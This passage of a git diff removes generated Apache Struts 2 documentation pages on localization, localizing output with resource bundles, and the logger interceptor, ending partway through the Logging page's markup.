-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="localization.html">Localization</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Localization</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14043">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14043">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14043">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14043">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14043">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14043">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="Localization-Overview">Overview</h2><p>The framework supports internationalization (i18n) in the following places:</p><ol><li>the <a shape="rect" href="ui-tags.html">UI Tags</a></li><li>Messages and Errors from the <a shape="rect" class="external-link" href="http://struts.apache.org/2.0.6/struts2-core/apidocs/index.html?com/opensymphony/xwork2/ValidationAware.html">ValidationAware</a> interface (implemented by <a shape="rect" class="externa [...]
-    acme/
-        package.properties
-        actions/
-                package.properties
-                FooAction.java
-                FooAction.properties</plain-text-body><p>If <code>FooAction</code>.properties does not exist, <code>com/acme/action/package.properties</code> will be searched for, if not found <code>com/acme/package.properties</code>, if not found <code>com/package.properties</code>, etc.</p></rich-text-body><h3 id="Localization-Defaultaction'sclass">Default action's class</h3><p>If you configure action as follow</p><parameter ac:name="">xml</parameter><plain-text-body>&lt;action name="i [...]
-   &lt;result&gt;/index.jsp&lt;/result&gt;
-&lt;/action&gt;</plain-text-body><p>it will use a default class defined with&#160;<code>default-class-ref</code><span style="color: rgb(34,34,34);">&#160;in&#160;<code>struts-default.xml</code> which is&#160;<code>com.opensymphony.xwork2.ActionSupport</code>. It means you have two options here to get I18N working in that case:</span></p><ul><li><span style="color: rgb(34,34,34);">define&#160;<code>com/opensymphony/xwork2/ActionSupport.properties</code> and put messages there</span></li>< [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/localizing-output.html b/content/docs/localizing-output.html
deleted file mode 100644
index a92334b..0000000
--- a/content/docs/localizing-output.html
+++ /dev/null
@@ -1,280 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Localizing Output</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="bootstrap.html">Bootstrap</a>&nbsp;&gt;&nbsp;<a href="localizing-output.html">Localizing Output</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Localizing Output</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23507">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23507">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23507">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23507">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23507">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23507">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>In the <a shape="rect" href="validating-input.html">Validating Input</a> lesson, we used the validation framework to verify data submitted from a form. In the <em>Localizing Output</em> lesson, we move the validation messages to a message resource bundle. </p>
-
-<p>When creating web applications, we often find ourselves using the same messages or field labels on multiple pages. We may also want to localize the messages if the application is going to be used by people of different languages. </p>
-
-<h2 id="LocalizingOutput-LocalizingValidationMessagesandFields">Localizing Validation Messages and Fields</h2>
-
-<p>Let's add a message resource bundle and move into it the validation messages and field labels.</p>
-
-<h3 id="LocalizingOutput-TheCode">The Code </h3>
-
-<p>The framework associates message resources to classes. To add a message resource for the Logon action, we could just name the resource <code>Logon.properties</code> and set it on the classpath next to the Logon Action. </p>
-
-<p>But, most people find it counter-productive to use separate message resource bundles for each class. Instead, many people prefer to add a bundle for an entire package of classes. To do this, simply add a <code>package.properties</code> file to the package. In our case, it would be the tutorial package.</p>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>tutorial/package.properties</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-requiredstring = ${getText(fieldName)} is required.
-password = Password
-username = User Name
-</pre>
-</div></div> 
-
-<p>We also need to make changes to the validator and Logon page. As you see a value in resource bundle can also be specified as an expression.</p>
-
-<h2 id="LocalizingOutput-Logon-validation.xml">Logon-validation.xml </h2>
-
-<p><img class="emoticon emoticon-minus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/forbidden.png" data-emoticon-name="minus" alt="(minus)"> &lt;message&gt;Username is required&lt;/message&gt;<br clear="none">
-<img class="emoticon emoticon-plus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/add.png" data-emoticon-name="plus" alt="(plus)"> &lt;message key="requiredstring"/&gt;</p>
-
-<p><img class="emoticon emoticon-minus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/forbidden.png" data-emoticon-name="minus" alt="(minus)"> &lt;message&gt;Password is required&lt;/message&gt;<br clear="none">
-<img class="emoticon emoticon-plus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/add.png" data-emoticon-name="plus" alt="(plus)"> &lt;message key="requiredstring"/&gt;</p>
-
-<h2 id="LocalizingOutput-Logon.jsp">Logon.jsp </h2>
-
-<p><img class="emoticon emoticon-minus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/forbidden.png" data-emoticon-name="minus" alt="(minus)"> &lt;s:textfield label="User Name" name="username"/&gt;<br clear="none">
-<img class="emoticon emoticon-plus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/add.png" data-emoticon-name="plus" alt="(plus)"> &lt;s:textfield label="%{getText('username')}" name="username"/&gt;</p>
-
-<p><img class="emoticon emoticon-minus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/forbidden.png" data-emoticon-name="minus" alt="(minus)"> &lt;s:password label="Password" name="password" /&gt;<br clear="none">
-<img class="emoticon emoticon-plus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/add.png" data-emoticon-name="plus" alt="(plus)"> &lt;s:password label="%{getText('password')}" name="password" /&gt;</p>
-
-<h3 id="LocalizingOutput-HowtheCodeWorks">How the Code Works</h3>
-
-<ul><li>The "key" attribute tells the validator to check for a message resource bundle.</li><li>In the resource bundle, the expression 
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>${getText(fieldName)}</pre>
-</div></div>
- tells the framework to lookup the field name in the bundle too. This way we can use the same default message for all the <code>requiredstring</code> validators.</li><li>Likewise, in the text filed, the expression 
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>%{getText('password')}</pre>
-</div></div>
- tells the framework to lookup "password" in the message resources.</li></ul>
-
-
-<h2 id="LocalizingOutput-LocalizingOtherMessages">Localizing Other Messages</h2>
-
-<p>Other page elements can be localized too. For example, we could add the "Hello World" and the "Missing page" message to the bundle. </p>
-
-<h3 id="LocalizingOutput-TheCode.1">The Code</h3>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>tutorial/package.properties</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-# ... 
-HelloWorld.message = Struts is up and running ...
-Missing.message = This feature is under construction. Please try again in the next iteration.
-</pre>
-</div></div> 
-
-<p>This will work for <code>HelloWorld</code> since it is already in the tutorial package. But it won't work for the default Missing action, unless we add our own base class for the tutorial package. </p>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>TutorialSupport.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package tutorial;
-import com.opensymphony.xwork2.ActionSupport;
-public class TutorialSupport extends ActionSupport {}
-</pre>
-</div></div> 
-
-<p>And update the default wildcard mapping. </p>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="*" class="tutorial.TutorialSupport"&gt;
-  &lt;result&gt;/{1}.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>Now, we can update <code>HelloWorld.jsp</code> and <code>Missing.jsp</code> to lookup the messages.</p>
-
-<h4 id="LocalizingOutput-Missing.jsp">Missing.jsp </h4>
-
-<p><img class="emoticon emoticon-minus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/forbidden.png" data-emoticon-name="minus" alt="(minus)"> This feature is under construction. Please try again in the next iteration. <br clear="none">
-<img class="emoticon emoticon-plus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/add.png" data-emoticon-name="plus" alt="(plus)"> &lt;s:text name="Missing.message"/&gt;</p>
-
-<p>In the case of HelloWorld, we set the message from the Action class. Let's update the class to use the message resource instead. </p>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>HelloWorld.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package tutorial;
-
-public class HelloWorld extends TutorialSupport {
-
-    public static final String MESSAGE = "HelloWorld.message";
-
-    public String execute() throws Exception {
-        setMessage(getText(MESSAGE));
-        return SUCCESS;
-    }
-
-  // ... 
-}
-</pre>
-</div></div>
-
-<h3 id="LocalizingOutput-HowtheCodeWorks.1">How the Code Works </h3>
-
-<ul><li>For <code>Missing.jsp</code>, we used the <code>text</code> tag to lookup the message from the resource bundle.</li></ul>
-
-
-<ul><li>For HelloWorld, we use the <code>getText</code> method in the Action class to lookup the message.</li><li>The HelloWorld.jsp displayed the message set by the Action, so it didn't need to change at all.</li></ul>
-
-
-<h2 id="LocalizingOutput-WhattoRemember">What to Remember </h2>
-
-<p>The framework is internationalized. To localize an application, we add the resource bundles, and update some elements or tags to refer to the bundles instead of static text. </p>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For more, see <a shape="rect" href="localization.html">Localization</a> in the Core Developers Guide.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Next </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> <a shape="rect" href="flying-solo.html">Flying Solo</a> </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Prev </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> <a shape="rect" href="validating-input.html">Validating Input</a> </p></td></tr></tbody></table></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/logger-interceptor.html b/content/docs/logger-interceptor.html
deleted file mode 100644
index 5f64075..0000000
--- a/content/docs/logger-interceptor.html
+++ /dev/null
@@ -1,184 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Logger Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="logger-interceptor.html">Logger Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Logger Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14326">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14326">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14326">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14326">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14326">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14326">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-This interceptor logs the start and end of the execution an action (in English-only, not internationalized).
-<br clear="none">
-<b>Note:</b>: This interceptor will log at <tt>INFO</tt> level.
-</p>
-
-<h2 id="LoggerInterceptor-Parameters">Parameters</h2>
-
-<p>There are no parameters for this interceptor.</p>
-
-<h2 id="LoggerInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-<p>There are no obvious extensions to the existing interceptor.</p>
-
-<h2 id="LoggerInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;!-- prints out a message before and after the immediate action execution --&gt;
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;completeStack&quot;/&gt;
-    &lt;interceptor-ref name=&quot;logger&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-
-&lt;!-- prints out a message before any more interceptors continue and after they have finished --&gt;
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;logger&quot;/&gt;
-    &lt;interceptor-ref name=&quot;completeStack&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/logging.html b/content/docs/logging.html
deleted file mode 100644
index 6f66f0c..0000000
--- a/content/docs/logging.html
+++ /dev/null
@@ -1,219 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
